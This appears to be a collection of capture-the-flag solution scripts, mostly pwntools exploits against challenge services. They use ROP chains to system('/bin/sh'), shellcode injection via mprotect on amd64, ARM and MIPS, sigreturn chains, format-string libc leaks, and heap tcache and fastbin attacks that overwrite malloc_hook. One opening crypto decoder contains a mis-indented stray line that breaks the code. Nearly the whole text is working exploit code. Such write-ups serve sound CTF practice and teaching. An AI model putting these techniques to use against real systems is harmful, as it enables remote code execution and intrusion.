kb = bytes.fromhex(kb.decode())
pt = bytes([ct[i] ^ kb[i] for i in range(len(ct))])
print(pt)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import math
import cupy as cp
p = 1041231053
n = 1214960

d = -1 * math.factorial(n-1)
M_ = [d % p]
for i in range(1, n):
    M_.append(M_[-1] * pow(n - i, -1, p) * (-i) % p)

with open('enc.txt') as f:
    y = f.read()
y = y.split('\n')
y = [int(i.split()[1]) for i in y]

v = [y[i] * pow(M_[i], -1, p) % p for i in range(n)]

def conv(a, b):
    l_a = len(a)
    l_b = len(b)
    l = l_a + l_b - 1
    res = cp.zeros(l, dtype=cp.int64)
    for i in range(l_b):
        a_ = a * b[i] % p
        res[i:i+l_a] += a_
        res %= p
    return res

def calc(vi, xi):
    global times
    n = len(vi)
    if n == 1:
        f = cp.array([vi[0]],dtype=cp.int64)
        M = cp.array([1, -xi[0]],dtype=cp.int64)
        return f, M
    half_n = n // 2
    f0, M0 = calc(vi[0:half_n], xi[0:half_n])
    f1, M1 = calc(vi[half_n:], xi[half_n:])
    f = (conv(f0, M1) + conv(f1, M0)) % p
    M = conv(M0, M1) % p
        print(times)
    return f, M
x = list(range(n))
f = calc(v, x)
f = f[0].tolist()

f.reverse()
with open('flag.png', 'wb') as f2:
    f2.write(bytes(f))

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 35854)
# r = process('./vuln')

sc = '''    
    mov rax, 0x67616c662f2e
    push rax
    xor rdi, rdi
    sub rdi, 100
    mov rsi, rsp
    xor edx, edx
    xor r10, r10
    push SYS_openat
    pop rax
    syscall

    mov rdi, 1
    mov rsi, 3
    push 0
    mov rdx, rsp
    mov r10, 0x100
    push SYS_sendfile
    pop rax
    syscall
'''

payload = asm(sc)
r.sendline(payload)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context.log_level = 'debug'

r = remote('xyctf.top', 35594)
# r = process('./vuln')
libc = ELF('./libc.so.6')

rdi_addr = 0x2a3e5
# gdb.attach(r, 'b *printf')

r.sendline(b'a'*38+b'b')
r.recvuntil(b'b\n')
leak_addr = u64(r.recvuntil(b'\nplea', drop=True).ljust(8, b'\x00'))
libc_base = leak_addr-0x29d90
log.success(hex(libc_base))

one = [0xebc88, 0xebc81, 0xebd43, 0xebc85, 0xebce2, 0xebd38, 0xebd3f]

# pause()
r.send(b'a'*32+p64(1)+p64(libc_base+0x29139)+p64(libc_base+rdi_addr) +
       p64(libc_base+0x1d8678)+p64(libc_base+libc.sym['system']))

r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 59270   )
# r = process('./vuln')

mprotect_addr = 0x4482C0
read_addr = 0x447580
bss_addr = 0x4C7000

rdi_addr = 0x401f1f
rsi_addr = 0x409f8e
rdx_addr = 0x451322

payload = b'a'*0x28
payload += p64(rdi_addr)+p64(bss_addr)+p64(rsi_addr) + \
    p64(0x1000)+p64(rdx_addr)+p64(7)+p64(mprotect_addr)
payload += p64(rdi_addr)+p64(0)+p64(rsi_addr)+p64(bss_addr +
                                                  0x300)+p64(rdx_addr)+p64(0x100)+p64(read_addr)
payload += p64(bss_addr+0x300)
# print((len(payload)))

shellcode = asm(shellcraft.sh())

r.sendline(payload)
r.sendline(shellcode)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
context(arch='amd64', os='linux', log_level='debug')
r = remote('xyctf.top', 33063)
# r = process('./pwn')

r.recvuntil(b'index\n')
r.sendline(b'8')
r.recvuntil(b'name:\n')
r.sendline(b'a')
r.recvuntil(b'id:\n')
r.sendline(b'58')

r.recvuntil(b'index\n')
r.sendline(b'32')
r.recvuntil(b'name:\n')
r.sendline(b'a')
r.recvuntil(b'id:\n')
r.sendline(b'176')

r.recvuntil(b'index\n')
r.sendline(b'-1')

r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
from pwn import *
# r = process('./vuln')
r = remote('xyctf.top', 34099)
libc = ELF('./libc.so.6')
context.log_level = 'debug'

ret = 0x40101a
printf_plt = 0x401084
printf_got = 0x403FD8
main_addr = 0x4012AF
gift = 0x401219
call_printf = 0x401202
start_addr = 0x4010B0

r.sendlineafter(b'name', b'a'*0x10)
# gdb.attach(r, 'b *printf')
# pause()
payload = b'%27$p'
payload = payload.ljust(0x20, b'\x00')
payload += p64(0)+p64(call_printf)+p64(printf_plt)+p64(start_addr)
r.sendlineafter(b'passwd', payload)

r.recvuntil(b'0x')
leak_add = int(r.recv(12), 16)
libc_base = leak_add-libc.symbols['__libc_start_main']-128
system = libc_base+libc.symbols['system'] # 不通
log.success(hex(libc.symbols['system']))
str_bin_sh = libc_base+next(libc.search(b'/bin/sh'))
rdi_ret = libc_base+0x2a3e5
do_system_addr = libc_base+0x50902
log.info('libcbase '+hex(libc_base))
# gdb.attach(r, 'b *system')
# pause()
# name直接跳了，应该是缓冲区里还有回车
payload = b'a'*(0x28)+p64(rdi_ret)+p64(str_bin_sh)+p64(do_system_addr)
r.sendlineafter(b'passwd', payload)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
context(arch='arm', os='linux', log_level='debug')
# r = process(['qemu-arm-static', './arm'])
r = remote('172.21.78.37', 58744)
e = ELF('./arm')

r.recv()
sc = asm('''
    add r0, pc, #12
    mov r1, #0
    mov r2, #0
    mov r7, #11
    svc 0
    .ascii "/bin/sh\\0"
''')

pop_r0_4_lr = 0x521BC
pop_r7_pc = 0x00027d78
pop_r0_pc = 0x5f73c
mprotect_addr = 0x28F10
read_addr = 0x10588

payload = b'a'*0x40+p32(e.bss()+0x44)+p32(pop_r0_pc)+p32(mprotect_addr)+p32(pop_r0_4_lr)+p32(e.bss()) + \
    p32(0x1000)+p32(7)+p32(0)+p32(0)+p32(read_addr)
r.sendline(payload)

payload = sc.ljust(0x44, b'\x00') + p32(e.bss())
r.sendline(payload)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
from pwn import *
context(arch='mips', os='linux', log_level='debug')
# r = process(['qemu-mipsel-static', './mips'])

r = remote('172.21.78.37', 54539)
e = ELF('./mips')

r.recv()
sc = asm('''
    lui $t6,0x2f62
    ori $t6,$t6,0x696e
    sw $t6,28($sp)     
    lui $t7,0x2f2f
    ori $t7,$t7,0x7368
    sw $t7,32($sp)                    
    sw $zero,36($sp)                 
    la $a0,28($sp)                     
    addiu $a1,$zero,0
    addiu $a2,$zero,0
    addiu $v0,$zero,4011     
    syscall 0x40404
         ''')

print(len(sc))

mprotect_addr = 0x41DC0C
read_addr = 0x400860

payload = b'a'*64+p32(e.bss()+0x200-0x60+68)+p32(read_addr)
r.send(payload)

payload = b'a'*68+p32(e.bss()+0x200+68)+asm(shellcraft.sh())
r.send(payload)
r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *
r = remote('172.21.78.37', 63069)
context(log_level='debug', arch='amd64')
# p = process('./vuln')

shellcode = asm(shellcraft.sh())
sc = asm('''
    push rdx
    pop rsi
    syscall
''')

print(len(sc))
# gdb.attach(p, "b *$rebase(0x1353)")
r.sendline(sc)
r.sendline(b'a'*0x4+shellcode)

r.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64')
#p = remote('nepctf.1cepeak.cn',32646)
p=process('./pwn')
elf=ELF('./pwn')


bss=elf.bss()+0x100
leave_ret=0x4012d4
sret=0x401296
syscall_ret=0x40129D 
gdb.attach(p,"b *0x4012b9")
frame = SigreturnFrame()
frame.rax = 0x0
frame.rdi = 0x0
frame.rsi = bss
frame.rdx = 0x400
frame.rip = syscall_ret
frame.rsp = 0x404168
frame.rbp = 0x404168
bss_flag=bss


payload=b'a'*0x28+p64(sret)+bytes(frame)
payload=payload.ljust(0x1ff,b'\x00')
p.sendline(payload)
sleep(0.2)


############# open ##############
frame1 = SigreturnFrame()
frame1.rax = 0x2
frame1.rdi = bss_flag
frame1.rdx = 0x0
frame1.rcx = 0x0
frame1.rsi = 0x0
frame1.rip = syscall_ret
frame1.rsp = 0x404268
frame1.rbp =        0x404268


########## read ################
frame2 = SigreturnFrame()
frame2.rax = 0x0
frame2.rdi = 0x3
frame2.rdx = 0x100
frame2.rsi = bss+0x500
frame2.rip = syscall_ret
frame2.rsp = 0x404368
frame2.rbp = 0x404368


######### write #################
frame3 = SigreturnFrame()
frame3.rax = 0x1
frame3.rdi = 0x1
frame3.rsi =bss+0x500
frame3.rdx = 0x100
frame3.rip = syscall_ret
frame3.rsp = 0xdeadbeef
frame3.rbp = 0xdeadbeef

payload1=b'flag\x00\x00\x00\x00'+p64(sret)+bytes(frame1)+p64(sret)+bytes(frame2)+p64(sret)+bytes(frame3)
sleep(0.2)
p.sendline(payload1)

p.interactive()


"""
############# read_flag ##############
frame0 = SigreturnFrame()
frame0.rax = 0x0
frame0.rdi = 0x0
frame0.rdx = bss_flag
frame0.rcx = 0x8
frame0.rsi = 0x0
frame0.rip = ret_sys_addr
frame0.rsp = 0x601c00
frame0.rbp = 0x601c00

"""

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
from pwn import *
context(log_level='debug',arch='amd64')
#p=process('./pwn')
elf=ELF('./pwn')
libc=ELF('./libc.so.6')
ld=ELF("./ld-linux-x86-64.so.2")
p=remote("localhost",42185)

bss_flag=0x4040E0

def cmd(cho):
        p.sendlineafter('>>> ',str(cho))

def add(i,size,content):
        cmd(1)
        p.sendlineafter('[?] please input chunk_idx: ',str(i))
        p.sendlineafter('[?] Enter chunk size: ',str(size))
        p.sendafter('[?] Enter chunk data: ',content)
        
def show(idx):
        cmd(3)
        p.sendlineafter('[?] Enter chunk id: ',str(idx))
        
        
def delete(idx):
        cmd(2)
        p.sendlineafter("[?] Enter chunk id: ",str(idx))

def gift():
        cmd(114514)

def exit():
        cmd(4)
        
def de_heap(this,new_next):
    base=0
    new_next=new_next^this
    base=this<<12

def en_heap(this,old_next):
    result=0
    this=this >> 12
    result=this^old_next
    return result
    

def calc_heap(addr):
    s = hex(addr)[2:]
    s = [int(x, base=16) for x in s]
    res = s.copy()
    for i in range(9):
        res[3+i] ^= res[i]
    res = "".join([hex(x)[2:] for x in res])
    return int16_ex(res)


gift()
p.recvuntil("gift: 0x")
puts_addr=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("puts_addr",hex(puts_addr))
libcbase=puts_addr-        0x080e50
environ=0x222200+libcbase
system=libcbase+0x050d70
bin_sh=libcbase+0x1d8678
pop_rdi=libcbase+0x2a3e5

add(0,0x20,b'xswlhhh\x00')
add(1,0x20,b'xswlhhh\x00')
add(2,0x50,b'protect\x00')
delete(1)
delete(0)
#0->1
add(3,0x18,p64(0x31)*2) #0->1
show(3)
p.recvuntil(p64(0x31)*2)
heapaddr=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
heapbase=heapaddr-0x310
print("heapaddr=",hex(heapaddr))
delete(3)
add(0,0x20,b'xswlhhh\x00')
add(1,0x20,b'xswlhhh\x00')

delete(1)
delete(0)
base=heapbase & 0xffff
base=base+0x10
add(3,0x18,p64(0x1)*2+p16(base)) 
delete(1)
payload=b'\x00\x00\x01'
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0)+p64(environ)
add(1,0x280,payload)
add(4,0x20,b'\x20')
show(4)

stack=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
rsp=stack-(0xcd20-0xcc38)
print("stack",hex(stack))
delete(1) 
payload=b'\x00\x00\x00\x00\x01'
payload=payload.ljust(0x80,b'\x00')
payload+=p64(0)*2+p64(rsp-0x8)
print("rsp:",hex(rsp))
add(1,0x280,payload)
#gdb.attach(p,"b *0x4014aa")
print("rsp:",hex(rsp))
ret=0x401750
add(5,0x30,p64(0xdeadbeef)+p64(pop_rdi)+p64(bin_sh)+p64(ret)+p64(system))
print("rsp:",hex(rsp))
#(0x7f5933bfaf68-0x7f5933be3150)

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context(log_level='debug',arch='amd64')
#p=process('./pwn')
p=remote("localhost",37601)

backdoor=0x4012be
p.recvuntil("gift: 0x")
gift=int(p.recv(12)[-12:].rjust(16,b'0'),16)
print("gift:",hex(gift))
#gdb.attach(p)

payload=b'%8$s'
payload=payload.ljust(8,b'\x00')
lock=gift+0x1c12a8
payload+=p64(lock)*3
p.send(payload)
p.sendline(p64(backdoor))
#payload=b'%8$s'+b'\x00'*4+p64(gift)*3
#0x1c12a8

p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
context(log_level='debug',arch='amd64')
p=process('./pwn')
elf=ELF('./pwn')
p=remote("localhost",45689)

def cmd(c):
    p.recvuntil('>>> ')
    p.sendline(str(c))
   
def add(idx,content):
    cmd(1)
    p.sendlineafter('please input note idx',str(idx))
    p.sendafter('please input content',content)
    
def show(idx):
    cmd(3)
    p.sendlineafter('please input note idx',str(idx))

    
def free(idx):
    cmd(2)
    p.sendlineafter('please input note idx',str(idx))

#gdb.attach(p)
for i in range(0,12):
        add(i,b'/bin/sh\x00')
for i in range(0,9):
        free(i)
cmd(1)
p.sendline(b"1"*0x500)
cmd(3)
p.recvuntil("please input note idx\n")

p.sendline(str(7))
main_arena=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
malloc_hook=main_arena-(0xcb0-0xb70)
print("main_arena",hex(main_arena))
libcbase=malloc_hook-0x01ecb70
one=[0xe3b2e,0xe3b31,0xe3b34]
free_hook=libcbase+0x1eee48
print("malloc_hook",hex(malloc_hook))
print("libcbase:",hex(libcbase))

cmd(3)
p.recvuntil("please input note idx\n")
p.sendline(str(2))
heap=u64(p.recv(6)[-6:].ljust(8,b'\x00'))
print("heap",hex(heap))
heapbase=heap-0x310
free(9)
free(10)
add(6,b"xswl")
free(10)
add(13,p64(malloc_hook-0x33))
for i in range(0,6):
        add(i,b'/bin/sh\x00')
add(0,b'6666')
add(14,b'\x00'*0x23+p64(one[1]+libcbase))
print("malloc_hook",hex(malloc_hook))
print("libcbase:",hex(libcbase))
        
cmd(1)
p.sendline(str(1))
        


p.interactive()